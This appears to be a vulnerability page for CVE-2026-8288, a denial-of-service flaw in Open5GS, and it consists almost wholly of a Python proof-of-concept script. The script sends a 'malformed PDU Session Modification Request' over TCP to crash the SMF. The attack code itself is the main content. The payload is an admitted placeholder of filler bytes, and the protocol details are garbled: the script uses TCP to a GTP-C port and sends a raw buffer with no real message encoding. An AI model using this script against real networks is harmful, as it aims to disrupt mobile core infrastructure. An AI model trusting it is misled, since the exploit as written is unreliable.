CVE-2026-8288 Open5GS拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8288 (Open5GS DoS) # This script demonstrates how to send a malformed PDU Session Modification Request. # It targets the 'n1SmMsg' parameter to trigger a crash in Open5GS SMF. import socket import struct def create_malformed_n1sm_msg(): # Craft a payload that manipulates the n1SmMsg argument # Specific bytes depend on the internal structure expected by gsm_handle_pdu_session_modification_qos_flow_descriptions # This is a placeholder for the actual malicious buffer structure header = b'\x00' * 5 # Dummy header # Malicious payload designed to trigger the vulnerability payload = b'\x41' * 100 + b'\x00' * 4 return header + payload def send_exploit(target_ip, target_port): try: # Create a TCP socket (assuming GTP-C or similar interface) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Send the malicious PDU Session Modification Request exploit_data = create_malformed_n1sm_msg() s.send(exploit_data) print(f"[+] Exploit sent to {target_ip}:{target_port}") # Check if service is still responsive (optional) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 2123 # Default GTP-C port, adjust as necessary print("[*] CVE-2026-8288 PoC Execution") send_exploit(TARGET_IP, TARGET_PORT)